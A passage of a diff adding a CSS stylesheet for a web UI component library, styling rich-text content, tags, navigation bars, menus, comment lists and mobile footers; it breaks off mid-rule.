+.ub-html>p:first-child { + margin-top: 0 +} + +.ub-html>p:last-child { + margin-bottom: 0 +} + +.ub-html p { + padding: 0; + line-height: 1.8; + word-spacing: .05rem; + margin: .5em 0 +} + +.ub-html img { + max-width: 100% +} + +.ub-html img.ub-emotion { + height: 2; + border: none +} + +.ub-html iframe { + max-width: 100% +} + +.ub-html p.video-player { + position: relative; + padding-bottom: 56.25%; + height: 0; + overflow: hidden +} + +.ub-html p.video-player iframe { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100% +} + +.ub-html video { + max-width: 100% +} + +.ub-html a { + background: 0 0 +} + +.ub-html hr { + -moz-box-sizing: content-box; + box-sizing: content-box; + height: 0 +} + +.ub-html code, +.ub-html kbd, +.ub-html pre { + font-family: "Meiryo UI", "YaHei Consolas Hybrid", Consolas, "Malgun Gothic", "Segoe UI", "Trebuchet MS", Helvetica, monospace, monospace; + font-size: 1em; + white-space: pre; + word-spacing: normal; + word-wrap: normal; + tab-size: 4; + hyphens: none; + text-align: left; + line-height: 1.8em; + padding: 1em +} + +.ub-html table { + border-spacing: 0; + max-width: 98%; + margin: 1em 0; + box-shadow: 0 0 .1rem #ccc; + display: table; + text-align: left; + border: .05rem solid #ddd; + border-collapse: collapse; + overflow: auto; + word-break: keep-all +} + +.ub-html table tr { + background-color: #fff; + border-top: .05rem solid #ccc +} + +.ub-html table tr tbody { + border: 0 +} + +.ub-html table tr th { + font-weight: 700; + background-color: #f0f0f0; + padding: .15rem .3rem; + border: .05rem solid #ddd +} + +.ub-html table tr td { + padding: .15rem .3rem; + border: .05rem solid #ddd +} + +.ub-html>p pre, +.ub-html>p svg, +.ub-html>p table { + -webkit-box-shadow: 0 0 .5rem #ccc; + -moz-box-shadow: 0 0 .5rem #ccc; + box-shadow: 0 0 .5rem #ccc; + margin: 1em auto; + display: block +} + +.ub-html td, +.ub-html th { + padding: 0 +} + +.ub-html * { + -moz-box-sizing: border-box; + box-sizing: border-box +} + +.ub-html input { + font: .65rem/1.4 Helvetica, arial, freesans, clean, sans-serif, "Segoe UI Emoji", "Segoe UI Symbol" +} + +.ub-html a { + color: #4183c4; + text-decoration: none +} + +.ub-html a:active, +.ub-html a:hover { + text-decoration: underline +} + +.ub-html hr { + height: 0; + margin: .75rem 0; + overflow: hidden; + background: 0 0; + border: 0; + border-bottom: .05rem solid #ddd +} + +.ub-html hr:before { + display: table; + content: "" +} + +.ub-html hr:after { + display: table; + clear: both; + content: "" +} + +.ub-html h1, +.ub-html h2, +.ub-html h3, +.ub-html h4, +.ub-html h5, +.ub-html h6 { + font-weight: 700; + margin: 1.2em 0 .6em 0; + text-align: start +} + +.ub-html h1 { + font-size: 2em; + margin: 1em 0 +} + +.ub-html h2 { + font-size: 1.7em; + border-bottom: 1px solid #eee; + line-height: 2em +} + +.ub-html h3 { + font-size: 1.5em +} + +.ub-html h4 { + font-size: 1.25em +} + +.ub-html h5 { + font-size: 1em +} + +.ub-html h6 { + font-size: .85em +} + +.ub-html blockquote { + display: block; + font-size: 1em; + overflow: auto; + overflow-scrolling: touch; + border-left: 3px solid rgba(0, 0, 0, .4); + background: rgba(0, 0, 0, .05); + color: #6a737d; + padding-top: .5em; + padding-bottom: .5em; + padding-left: 1em; + padding-right: .5em; + margin-bottom: 1em; + margin-top: 1em +} + +.ub-html blockquote p { + margin: .5em 0 +} + +.ub-html ol, +.ub-html ul { + padding: .5em 0; + margin-top: 0; + margin-bottom: 0; + padding-left: 1.4em +} + +.ub-html ol li { + list-style: decimal +} + +.ub-html ul li { + list-style: disc +} + +.ub-html ol ol, +.ub-html ul ol { + list-style-type: lower-roman +} + +.ub-html ol ol ol, +.ub-html ol ul ol, +.ub-html ul ol ol, +.ub-html ul ul ol { + list-style-type: lower-alpha +} + +.ub-html dd { + margin-left: 0 +} + +.ub-html code { + color: #d63384; + word-wrap: break-word; + border-radius: .2em; + white-space: pre; + font-family: "Source Code Pro", monospace; + font-size: .9em; + padding: .1em .2em +} + +.ub-html code.formula { + color: inherit; + background-color: inherit; + border: inherit; + font-size: inherit +} + +.ub-html pre { + margin-top: 0; + margin-bottom: 0; + font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; + font-size: .9em +} + +.ub-html pre code { + color: inherit; + background: 0 0; + border: none +} + +.ub-scroll-bar-mini::-webkit-scrollbar-track { + background-color: var(--color-scrollbar-bg); + border: none +} + +.ub-scroll-bar-mini::-webkit-scrollbar { + width: .25rem; + height: .25rem; + background-color: var(--scolor-scrollbar-thumb) +} + +.ub-scroll-bar-mini::-webkit-scrollbar-thumb { + border-radius: .5rem; + background-color: var(--scolor-scrollbar-thumb) +} + +.ub-loading { + text-align: center; + color: var(--color-muted); + padding: 1rem 0 +} + +.ub-empty { + text-align: center; + color: var(--color-muted); + padding: 5rem 0 +} + +.ub-empty.small { + padding: 1rem 0 +} + +.ub-empty .icon { + font-size: 3rem; + text-align: center; + color: var(--color-muted); + line-height: 3rem +} + +.ub-empty .icon * { + font-size: 3rem; + line-height: 3rem +} + +.ub-empty .icon .image { + width: 5rem; + height: 5rem; + object-fit: contain +} + +.ub-empty .text { + line-height: 1.5rem; + color: var(--color-muted); + padding-top: .5rem +} + +.ub-load-more { + text-align: center; + color: #c4cfdb; + padding: .5rem 0; + cursor: pointer; + font-size: var(--font-size) +} + +.ub-no-more { + text-align: center; + color: #c4cfdb; + padding: .5rem 0; + font-size: var(--font-size) +} + +.ub-text-slash-separate .item { + display: inline-block +} + +.ub-text-slash-separate .item:after { + content: '/'; + color: #ccc; + display: inline-block; + margin: 0 .1rem +} + +.ub-text-slash-separate .item:last-child:after { + display: none +} + +.ub-placeholder { + background: #eee; + border-radius: .15rem; + width: 100%; + min-height: 1em; + text-align: center; + color: #c4cfdb +} + +.ub-pair { + padding: .5em 0 .5em 5em; + line-height: 1.5em +} + +.ub-pair .name { + float: left; + margin-left: -5em; + color: #c4cfdb +} + +.ub-icon-text { + display: inline-block; + white-space: nowrap; + padding: 0 1rem 0 0 +} + +.ub-icon-text .icon { + width: 1rem; + height: 1rem; + border-radius: 50%; + display: inline-block; + margin: 0 .25rem 0 0; + white-space: nowrap +} + +.ub-icon-text .text { + line-height: 1.5rem; + text-align: center; + display: inline-block; + vertical-align: middle; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: #333 +} + +.ub-tools { + text-align: center +} + +.ub-tools .item { + display: inline-block; + width: 3rem; + color: #c4cfdb; + border-radius: var(--size-radius); + text-align: center; + padding: .2rem 0 +} + +.ub-tools .item:hover { + background: #f8f8f8 +} + +.ub-tools .item.active { + color: var(--color-primary) +} + +.ub-tools .item .icon { + display: block; + font-size: 1.5rem; + line-height: 1.5rem +} + +.ub-tools .item .text { + display: block +} + +.ub-line { + height: 1px; + background: #eee; + margin-top: var(--size-margin); + margin-bottom: var(--size-margin) +} + +.ub-file-selector .ub-file-selector__action, +.ub-file-selector .ub-file-selector__close, +.ub-file-selector .ub-file-selector__value { + display: inline-block; + cursor: default; + position: relative; + border-radius: .2rem; + line-height: 1.4rem; + height: 1.4rem; + vertical-align: bottom +} + +.ub-file-selector .ub-file-selector__action.hidden, +.ub-file-selector .ub-file-selector__close.hidden, +.ub-file-selector .ub-file-selector__value.hidden { + overflow: hidden; + width: 0; + height: 0; + position: absolute; + border: 0 +} + +.ub-file-selector .ub-file-selector__item { + margin-bottom: .2rem +} + +.ub-file-selector .ub-file-selector__item.hidden { + display: none !important +} + +.ub-file-selector .ub-file-selector__item.image { + position: relative; + width: 3rem; + height: 3rem; + box-shadow: 0 0 1px #ccc; + border-radius: .1rem; + display: inline-block; + vertical-align: middle +} + +.ub-file-selector .ub-file-selector__item.image.has-value:hover .tools { + display: block +} + +.ub-file-selector .ub-file-selector__item.image .cover { + width: 100% +} + +.ub-file-selector .ub-file-selector__item.image .tools { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + background: rgba(0, 0, 0, .5); + color: #fff; + border-radius: .1rem; + text-align: center; + padding: 1rem 0 0 0; + display: none +} + +.ub-file-selector .ub-file-selector__item.image .tools .action { + color: #fff; + line-height: 1rem; + width: 1rem; + height: 1rem; + vertical-align: top +} + +.ub-file-selector .ub-file-selector__item.image .tools .close { + position: absolute; + top: .1rem; + right: .1rem; + width: .6rem; + height: .6rem; + line-height: .6rem; + text-align: center; + display: block +} + +.ub-file-selector .ub-file-selector__value { + border: .05rem solid #eee; + padding: 0 .5rem; + background: #fff; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.ub-file-selector .ub-file-selector__close { + cursor: pointer +} + +@media print { + .ub-print-hidden { + display: none + } +} + +.ub-cover, +.ub-cover-1-1, +.ub-cover-1-2, +.ub-cover-1-3, +.ub-cover-1-4, +.ub-cover-2-1, +.ub-cover-2-3, +.ub-cover-3-1, +.ub-cover-3-2, +.ub-cover-3-4, +.ub-cover-3-5, +.ub-cover-4-1, +.ub-cover-4-3, +.ub-cover-5-2, +.ub-cover-5-3 { + display: block; + overflow: hidden; + background-repeat: no-repeat; + background-size: cover; + background-position: center +} + +.ub-cover-1-1:after, +.ub-cover-1-2:after, +.ub-cover-1-3:after, +.ub-cover-1-4:after, +.ub-cover-2-1:after, +.ub-cover-2-3:after, +.ub-cover-3-1:after, +.ub-cover-3-2:after, +.ub-cover-3-4:after, +.ub-cover-3-5:after, +.ub-cover-4-1:after, +.ub-cover-4-3:after, +.ub-cover-5-2:after, +.ub-cover-5-3:after, +.ub-cover:after { + content: ''; + display: block +} + +.ub-cover-1-1.contain, +.ub-cover-1-2.contain, +.ub-cover-1-3.contain, +.ub-cover-1-4.contain, +.ub-cover-2-1.contain, +.ub-cover-2-3.contain, +.ub-cover-3-1.contain, +.ub-cover-3-2.contain, +.ub-cover-3-4.contain, +.ub-cover-3-5.contain, +.ub-cover-4-1.contain, +.ub-cover-4-3.contain, +.ub-cover-5-2.contain, +.ub-cover-5-3.contain, +.ub-cover.contain { + background-size: contain +} + +.ub-cover-1-1.circle, +.ub-cover-1-2.circle, +.ub-cover-1-3.circle, +.ub-cover-1-4.circle, +.ub-cover-2-1.circle, +.ub-cover-2-3.circle, +.ub-cover-3-1.circle, +.ub-cover-3-2.circle, +.ub-cover-3-4.circle, +.ub-cover-3-5.circle, +.ub-cover-4-1.circle, +.ub-cover-4-3.circle, +.ub-cover-5-2.circle, +.ub-cover-5-3.circle, +.ub-cover.circle { + border-radius: 50% +} + +.ub-cover-1-1:after { + margin-top: 100% +} + +.ub-cover-3-1:after { + margin-top: 33.33333333% +} + +.ub-cover-1-3:after { + margin-top: 300% +} + +.ub-cover-4-1:after { + margin-top: 25% +} + +.ub-cover-1-4:after { + margin-top: 400% +} + +.ub-cover-4-3:after { + margin-top: 75% +} + +.ub-cover-3-4:after { + margin-top: 133.3333333% +} + +.ub-cover-3-2:after { + margin-top: 66.6666667% +} + +.ub-cover-2-3:after { + margin-top: 150% +} + +.ub-cover-2-1:after { + margin-top: 50% +} + +.ub-cover-1-2:after { + margin-top: 200% +} + +.ub-cover-5-2:after { + margin-top: 40% +} + +.ub-cover-5-3:after { + margin-top: 60% +} + +.ub-cover-3-5:after { + margin-top: 166.6666667% +} + +.ub-cover-5-4:after { + margin-top: 80% +} + +.ub-cover-4-5:after { + margin-top: 125% +} + +.ub-cover-6-5:after { + margin-top: 80% +} + +.ub-cover-5-6:after { + margin-top: 120% +} + +.ub-cover-7-6:after { + margin-top: 85.7% +} + +.ub-cover-6-7:after { + margin-top: 116.6666667% +} + +.ub-comment-list .comment-item { + padding-left: 2.25rem +} + +.ub-comment-list .comment-item:hover>.comment-foot .action { + display: block +} + +.ub-comment-list .comment-item .comment-head { + position: relative +} + +.ub-comment-list .comment-item .comment-head .user-avatar { + width: 1.8rem; + height: 1.8rem; + display: block; + position: absolute; + left: -2.25rem; + top: .25rem +} + +.ub-comment-list .comment-item .comment-head .user-avatar .image { + width: 1.8rem; + height: 1.8rem; + border: 1px solid #fff; + border-radius: 50% +} + +.ub-comment-list .comment-item .comment-head .user-name { + display: inline-block; + color: var(--color-text) +} + +.ub-comment-list .comment-item .comment-head .time { + display: inline-block; + color: #c4cfdb; + margin-left: 1rem +} + +.ub-comment-list .comment-item .comment-body { + padding-top: .75rem +} + +.ub-comment-list .comment-item .comment-body .content { + color: var(--color-text) +} + +.ub-comment-list .comment-item .comment-foot { + padding-top: .75rem; + overflow: hidden; + border-bottom: 1px solid #e8e8e8; + margin-bottom: 1rem; + padding-bottom: 1rem +} + +.ub-comment-list .comment-item .comment-foot .action { + float: right; + display: none +} + +.ub-comment-list .comment-item .comment-foot .action .item { + margin: 0 0 0 1rem +} + +.ub-comment-list .comment-item .comment-foot .item { + color: #c4cfdb; + display: inline-block; + margin: 0 1rem 0 0 +} + +.ub-comment-editor-box { + padding-left: 2.5rem; + position: relative; + padding-top: 1rem +} + +.ub-comment-editor-box .user-avatar { + width: 1.8rem; + height: 1.8rem; + display: block; + position: absolute; + left: 0; + top: 1rem +} + +.ub-comment-editor-box .user-avatar .image { + width: 1.8rem; + height: 1.8rem; + border: 1px solid #fff; + border-radius: 50% +} + +.ub-comment-editor-box .submit { + padding-top: .5rem +} + +@media screen and (max-width:40rem) { + .ub-comment-list .comment-item { + padding-left: 2.25rem + } + .ub-comment-list .comment-item>.comment-foot .action { + display: block + } +} + +.ub-tag { + display: inline-block; + padding: .2rem .35rem; + font-size: .65rem; + height: 1.2rem; + line-height: .8rem; + color: var(--color-text); + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: 50rem; + cursor: default; + background-color: rgba(0, 0, 0, .04) +} + +.ub-tag.sm { + font-size: .5rem; + height: 1rem; + line-height: .6rem +} + +.ub-tag.lg { + font-size: .8rem; + height: 1.4rem; + line-height: 1rem; + padding: .2rem .5rem +} + +.ub-tag.danger { + color: var(--color-danger); + background-color: #fff2f0 +} + +.ub-tag.warning { + color: var(--color-warning); + background-color: #fff2f0 +} + +.ub-tag.success { + color: var(--color-success); + background-color: #f6ffed +} + +.ub-tag.primary { + color: var(--color-primary) +} + +.ub-tag.info { + background-color: #e6f4ff; + color: #1677ff +} + +.ub-nav-header { + font-size: 1.5rem; + font-weight: 700; + padding: 2rem 0; + text-align: center; + opacity: .9 +} + +.ub-nav-header-sub { + opacity: .5; + text-align: center; + font-size: 1rem; + margin-top: -3rem; + padding: 2rem 0 +} + +@media screen and (max-width:40rem) { + .ub-nav-header { + padding: 1rem 0; + font-size: var(--font-size-large) + } + .ub-nav-header-sub { + margin-top: -2rem; + padding: 1rem 0; + font-size: var(--font-size) + } +} + +.ub-dropdown { + position: relative; + display: inline-block; + cursor: pointer +} + +.ub-dropdown:hover .ub-dropdown-list { + display: block +} + +.ub-dropdown .ub-dropdown-list { + display: none; + position: absolute; + left: 0; + top: 100%; + background: #fff; + box-shadow: 0 0 1px #c4cfdb; + border-radius: .2rem; + z-index: 1000 +} + +.ub-dropdown .ub-dropdown-list .ub-dropdown-list-item { + display: block; + color: var(--color-text); + padding: 0 .5rem; + line-height: 1.5rem; + margin: 0; + white-space: nowrap +} + +.ub-dropdown .ub-dropdown-list .ub-dropdown-list-item:hover { + color: var(--color-primary); + background: #eee +} + +.ub-breadcrumb { + min-height: 2rem; + padding: .5rem 0; + white-space: nowrap; + overflow: auto +} + +.ub-breadcrumb .text, +.ub-breadcrumb span { + color: var(--color-tertiary) +} + +.ub-breadcrumb .text.active, +.ub-breadcrumb span.active { + color: var(--color-primary) +} + +.ub-breadcrumb .item, +.ub-breadcrumb a { + color: var(--color-tertiary); + display: inline-block; + padding-right: .5rem; + line-height: 1rem +} + +.ub-breadcrumb .item:after, +.ub-breadcrumb a:after { + content: ''; + display: inline-block; + margin-left: .5rem; + color: var(--color-tertiary-light); + background-image: var(--icon-arrow); + width: .4rem; + height: .4rem; + background-size: contain; + background-repeat: no-repeat; + opacity: .3 +} + +.ub-breadcrumb .item:last-child:after, +.ub-breadcrumb a:last-child:after { + display: none +} + +.ub-breadcrumb .item.active, +.ub-breadcrumb a.active { + color: var(--color-primary) +} + +.ub-nav { + padding: var(--size-margin); + background: #fff; + border-radius: var(--size-radius); + position: relative +} + +.ub-nav .tag-label { + position: absolute; + left: var(--size-margin); + top: var(--size-margin); + line-height: 1rem; + padding: .1rem .4rem; + margin: 0 .25rem 0 0; + color: var(--color-primary) +} + +.ub-nav .tag-value { + padding-left: 4em +} + +.ub-nav .tag-value .tag-item { + display: inline-block; + position: relative; + border: 1px solid #eee; + border-radius: .8rem; + line-height: 1rem; + padding: .1rem .5rem; + margin: 0 .25rem 0 0; + cursor: default +} + +.ub-nav .tag-value .tag-item:hover .close { + display: block +} + +.ub-nav .tag-value .tag-item .close { + padding: 0; + margin: 0; + font-size: .4rem; + position: absolute; + width: .7rem; + height: .7rem; + text-align: center; + line-height: .7rem; + top: -.3rem; + right: -.3rem; + background: rgba(0, 0, 0, .5); + color: #fff; + border-radius: 50%; + display: none +} + +.ub-nav .nav-right { + float: right +} + +.ub-nav .nav-right .item { + margin-right: 0 +} + +.ub-nav .nav-right .item.active { + background: 0 0; + color: var(--color-primary) +} + +.ub-nav .item, +.ub-nav a { + display: inline-block; + color: var(--color-text); + border-radius: .8rem; + line-height: 1rem; + padding: .2625rem .5rem; + margin: 0 .25rem 0 0 +} + +.ub-nav .item:hover, +.ub-nav a:hover { + color: var(--color-primary) +} + +.ub-nav .item.active, +.ub-nav a.active { + background: var(--color-primary); + color: #fff +} + +.ub-nav-group { + background: var(--color-content-bg); + border-radius: var(--size-radius) +} + +.ub-nav-group.bare .group { + padding-left: 0 +} + +.ub-nav-group.flat .group { + padding: 0 +} + +.ub-nav-group.flat .group .label { + position: static; + width: auto; + text-align: left; + padding: .5rem .5rem 0 .5rem +} + +.ub-nav-group.flat .group .label .text { + position: static; + margin: 0 +} + +.ub-nav-group.flat .group .items { + position: static +} + +.ub-nav-group .group { + background: var(--color-content-bg); + position: relative; + padding-left: 4rem; + overflow: hidden; + min-height: 2rem; + border-radius: var(--size-radius) +} + +.ub-nav-group .group .label { + width: 4rem; + background: #fff; + position: absolute; + top: 0; + left: 0; + height: 100%; + text-align: center +} + +.ub-nav-group .group .label .text { + width: 100%; + position: absolute; + left: 50%; + top: 50%; + margin-left: -50%; + height: 1rem; + margin-top: -.5rem; + font-size: var(--font-size, .65rem) +} + +.ub-nav-group .group .items { + padding: .5rem .5rem .25rem .5rem; + border-bottom: 1px solid var(--color-body-bg) +} + +.ub-nav-group .group .items .item, +.ub-nav-group .group .items a { + display: inline-block; + color: var(--color-text); + line-height: 1rem; + padding: .25rem .4rem; + margin: 0 .15rem .15rem 0; + border-radius: .8rem; + text-align: center; + background: #f8f8f8 +} + +.ub-nav-group .group .items .item:hover, +.ub-nav-group .group .items a:hover { + color: var(--color-primary) +} + +.ub-nav-group .group .items .item.active, +.ub-nav-group .group .items a.active { + background: var(--color-primary); + color: #fff +} + +@media screen and (max-width:40rem) { + .ub-nav-group .group { + padding: 0 + } + .ub-nav-group .group .label { + position: static; + width: auto; + text-align: left; + padding: .5rem .5rem 0 .5rem + } + .ub-nav-group .group .label .text { + position: static; + margin: 0 + } + .ub-nav-group .group .items { + position: static; + white-space: nowrap; + overflow-x: auto + } +} + +.ub-nav-tab { + background: #fff; + border-radius: var(--size-radius) var(--size-radius) 0 0; + border-bottom: .05rem solid #eee +} + +.ub-nav-tab.mini .item, +.ub-nav-tab.mini a { + line-height: 1rem +} + +.ub-nav-tab .item, +.ub-nav-tab a { + display: inline-block; + color: var(--color-text); + line-height: 1.4rem; + padding: var(--size-margin); + margin: 0 .25rem 0 0; + border-bottom: .1rem solid #fff; + fong-weight: 700 +} + +.ub-nav-tab .item.active, +.ub-nav-tab a.active { + color: var(--color-primary); + border-bottom: .1rem solid var(--color-primary) +} + +.ub-nav-tab-body { + background: #fff; + border-radius: 0 0 var(--size-radius) var(--size-radius); + padding: .5rem +} + +.ub-nav-tab-body.hidden { + width: 0; + height: 0; + overflow: hidden; + padding: 0 +} + +@media screen and (max-width:40rem) { + .ub-breadcrumb { + padding-left: var(--size-margin); + padding-right: var(--size-margin) + } + .ub-nav { + min-height: 2.25rem; + overflow-x: auto; + overflow-y: hidden + } +} + +.ub-nav-mobile-foot-spacer { + height: 2.3rem; + clear: both +} + +.ub-nav-mobile-foot { + position: fixed; + bottom: 0; + left: 0; + right: 0; + display: flex; + justify-content: space-between; + align-items: center; + background-color: #fff; + border-top: .05rem solid #e7e7e7; + border-bottom: .05rem solid #f8f8f8; + -webkit-box-pack: justify; + z-index: 1001; + padding: .25rem 1rem; + height: 2.3rem +} + +.ub-nav-mobile-foot .item { + text-align: center; + display: block; + color: #5d656b; + text-decoration: none; + flex: 1; + position: relative +} + +.ub-nav-mobile-foot .item.active { + color: var(--color-primary) +} + +.ub-nav-mobile-foot .item.active .icon { + color: var(--color-primary) +} + +.ub-nav-mobile-foot .item.active .icon .img { + color: var(--color-primary) +} + +.ub-nav-mobile-foot .item .icon { + font-size: 1.1rem; + height: 1.1rem; + line-height: 1.1rem; + color: #5d656b +} + +.ub-nav-mobile-foot .item .icon .img { + font-size: 1.1rem; + height: 1.1rem; + line-height: 1.1rem; + color: #5d656b +} + +.ub-nav-mobile-foot .item .title { + height: .6rem; + font-size: .6rem; + -webkit-transform: scale(.83333333); + transform: scale(.83333333) +} + +.ub-nav-mobile-foot .item .name { + font-size: var(--font-size) +} + +.ub-nav-mobile-foot .item .badge { + position: absolute; + top: 0; + left: 60%; + background: red; + color: #fff; + height: .8rem; + line-height: .8rem; + font-size: .6rem; + border-radius: .4rem; + min-width: .8rem; + text-align: center; + padding: 0 .2rem +} + +.ub-nav-mobile-foot-nav-spacer { + height: 2rem; + clear: both +} + +.ub-nav-mobile-foot-nav { + position: fixed; + bottom: 2.3rem; + left: 0; + right: 0; + display: flex; + justify-content: space-between; + align-items: center; + background-color: #e7e7e7; + border-top: .05rem solid #e7e7e7; + border-bottom: .05rem solid #f8f8f8; + z-index: 1001; + height: 2rem; + padding: .05rem 0 0 0 +} + +.ub-nav-mobile-foot-nav .item { + text-align: center; + display: block; + color: #5d656b; + text-decoration: none; + flex-grow: 1; + margin: 0 .05rem; + background: #fff +} + +.ub-nav-mobile-foot-nav .item.disabled .icon .img { + color: #c4cfdb +} + +.ub-nav-mobile-foot-nav .item.disabled .name { + color: #c4cfdb +} + +.ub-nav-mobile-foot-nav .item .icon { + height: 2rem; + line-height: 2rem; + color: var(--color-primary); + display: inline-block +} + +.ub-nav-mobile-foot-nav .item .icon .img { + font-size: var(--font-size); + height: 2rem; + line-height: 2rem; + color: var(--color-primary) +} + +.ub-nav-mobile-foot-nav .item .name { + display: inline-block; + color: var(--color-primary); + font-size: var(--font-size) +} + +.ub-nav-grid { + display: flex; + justify-content: space-between; + align-items: center; + border-top: .05rem solid #e7e7e7; + border-bottom: .05rem solid #f8f8f8; + -webkit-box-pack: justify; + margin: 0; + padding: 0; + border-top: .05rem solid #eee; + border-left: .05rem solid #eee; + background-color: #f2f2f2; + width: 100%; + flex-wrap: wrap +} + +.ub-nav-grid.g3:after { + content: ""; + width: 33.3333% +} + +.ub-nav-grid.g3 .item { + width: 33.3333% +} + +.ub-nav-grid .item { + text-align: center; + display: block; + color: #5d656b; + text-decoration: none; + vertical-align: top; + border-right: .05rem solid #eee; + border-bottom: .05rem solid #eee; + padding: 1rem .5rem; + width: 50%; + background: #fff; + flex-shrink: 0 +} + +.ub-nav-grid .item .icon { + font-size: 1.1rem; + height: 1.1rem; + line-height: 1.1rem; + color: #5d656b +} + +.ub-nav-grid .item .icon .img { + font-size: 1.1rem; + height: 1.1rem; + line-height: 1.1rem; + color: #5d656b +} + +.ub-nav-grid .item .title { + height: .6rem; + font-size: .6rem; + line-height: 1rem +} + +.ub-nav-category .group-title { + font-size: .8rem; + display: block; + color: var(--color-text) +} + +.ub-nav-category .group-list { + padding: 0 0 .5rem 0 +} + +.ub-nav-category .group-list .item { + font-size: var(--font-size); + color: var(--color-tertiary); + display: inline-block; + margin: 0 .25rem .25rem 0; + line-height: 1.2rem +} + +.ub-nav-category .group-list .item.active, +.ub-nav-category .group-list .item:hover { + color: var(--color-primary) +} + +.ub-menu-layout-shrink .ub-menu-layout-container { + padding-left: 3rem +} + +.ub-menu-layout-shrink .ub-menu-layout>.body { + width: 3rem +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .item { + color: #333; + padding: .4rem 0; + text-align: center; + display: none +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .item .icon { + line-height: 1.4rem; + display: block; + font-size: 1rem; + text-align: center; + width: 100% +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .item .text { + font-size: var(--font-size-small); + display: block; + padding: 0; + line-height: 1rem +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .item.item-main { + display: block +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .item-main { + display: block +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .foot { + display: none +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .item-title { + display: none +} + +.ub-menu-layout-shrink .ub-menu-layout>.body .item-title.item-main { + display: block +} + +.ub-menu-layout-container { + padding-left: 10rem +} + +.ub-menu-layout { + position: fixed; + top: 0; + left: 0; + z-index: 2000 +} + +.ub-menu-layout .toggle { + position: fixed; + width: 3rem; + height: 3rem; + left: 0; + top: 0; + line-height: 3rem; + text-align: center; + color: #333; + font-size: 1rem +} + +.ub-menu-layout>.body { + position: fixed; + top: 3rem; + left: 0; + bottom: 0; + overflow-y: auto; + background: var(--color-content-bg); + border-right: 1px solid #eee; + width: 16em +} + +.ub-menu-layout>.body .item { + color: #333; + display: block; + padding: 0 1rem; + line-height: 1.8rem +} + +.ub-menu-layout>.body .item.active { + color: var(--color-primary) +} + +.ub-menu-layout>.body .item.active:hover { + color: var(--color-primary); + background: var(--color-content-bg) +} + +.ub-menu-layout>.body .item:hover { + background: var(--color-body-bg) +} + +.ub-menu-layout>.body .item .icon { + display: inline-block; + width: 1.2rem +} + +.ub-menu-layout>.body .item .text { + display: inline-block +} + +.ub-menu-layout>.body .item-title { + margin-top: 1rem; + padding: .5rem 1rem; + font-size: .8rem; + font-weight: 500; + color: #1d1d1d; + border-top: 1px solid #f0f0f0 +} + +.ub-menu-layout>.body .foot { + margin-top: 1rem; + padding: 1rem +} + +.ub-menu-layout>.body .foot .link { + overflow: hidden +} + +.ub-menu-layout>.body .foot .link a { + color: #c4cfdb; + display: block; + width: 50%; + float: left +} + +.ub-menu-layout>.body .foot .copy { + padding-top: .5rem +} + +.ub-menu-layout>.body .foot .copy a { + color: #c4cfdb +} + +.ub-menu { + border-radius: .25rem; + background: #fff; + padding: .5rem 0 +} + +.ub-menu.lg { + font-size: .7rem +} + +.ub-menu.lg .title { + line-height: 2.5rem +} + +.ub-menu.lg .items a { + line-height: 2.5rem +} + +.ub-menu.simple .title:before { + transform: rotate(0) +} + +.ub-menu .title { + line-height: 2rem; + padding: 0 1rem; + display: block; + color: #333; + cursor: pointer; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.ub-menu .title:has(+.open):before { + transform: rotate(90deg) +} + +.ub-menu .title a { + color: var(--color-text) +} + +.ub-menu .title a:hover { + color: var(--color-primary) +} + +.ub-menu .title:before { + content: ''; + background: var(--icon-arrow) no-repeat center; + background-size: contain; + width: .4rem; + height: .4rem; + margin-top: .8rem; + opacity: .3; + display: block; + color: #ccc; + float: right; + transform: rotate(0); + transition: all .3s +} + +.ub-menu .title.active { + color: var(--color-primary); + border-right: 4px solid var(--color-primary); + background-color: var(--color-primary-light-bg) +} + +.ub-menu .title.active a { + color: var(--color-primary) +} + +.ub-menu .title:hover { + color: var(--color-primary) +} + +.ub-menu .title .icon { + display: inline-block; + width: 1.2em +} + +.ub-menu .items { + display: none +} + +.ub-menu .items.open { + display: block +} + +.ub-menu .items a { + line-height: 2rem; + padding: 0 .5rem 0 1.9rem; + display: block; + color: var(--color-text); + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.ub-menu .items a.active { + color: var(--color-primary); + background-color: var(--color-primary-light-bg); + border-right: 4px solid var(--color-primary) +} + +.ub-menu .items a:hover { + color: var(--color-primary) +} + +.ub-menu.nav-menu { + padding: .25rem 0 +} + +@media screen and (max-width:40rem) { + .ub-menu.simple { + white-space: nowrap; + overflow-x: auto; + padding-left: .5rem; + padding-right: .5rem; + line-height: 0 + } + .ub-menu.simple .title { + display: inline-block; + min-width: 4em; + border-right: none; + border-radius: .5rem + } + .ub-menu.simple .title:before { + display: none + } + .ub-menu.nav-menu { + display: flex; + margin-bottom: .5rem; + white-space: nowrap; + overflow-x: auto; + padding: 0 + } + .ub-menu.nav-menu .title { + display: inline-block; + padding: 0 .2rem; + flex-grow: 1; + text-align: center; + min-width: 5rem + } + .ub-menu.nav-menu .items.open { + display: block; + background: #fff; + box-shadow: 0 0 5px #ccc; + border-radius: 0 0 .4rem .4rem; + position: absolute; + z-index: 1000; + top: 2rem + } + .ub-menu.nav-menu .items.open a { + padding: 0 .15rem; + text-align: center; + text-overflow: ellipsis; + overflow: hidden + } +} + +.ub-menu-tree { + border-radius: .25rem; + background: #fff; + padding: .5rem 0 +} + +.ub-menu-tree.no-arrow .item .title { + padding-left: 0 +} + +.ub-menu-tree.no-arrow .item .title:before { + display: none +} + +.ub-menu-tree .page-menu-container>.item, +.ub-menu-tree>.item { + padding: 0 .5rem +} + +.ub-menu-tree .item a { + color: var(--color-text) +} + +.ub-menu-tree .item .title { + display: flex; + line-height: 1.5; + cursor: pointer; + padding-left: .7rem; + position: relative; + margin: .5rem 0; + border-radius: .25rem +} + +.ub-menu-tree .item .title.active { + background-color: var(--color-body-block-bg-hover) +} + +.ub-menu-tree .item .title.active .title-text { 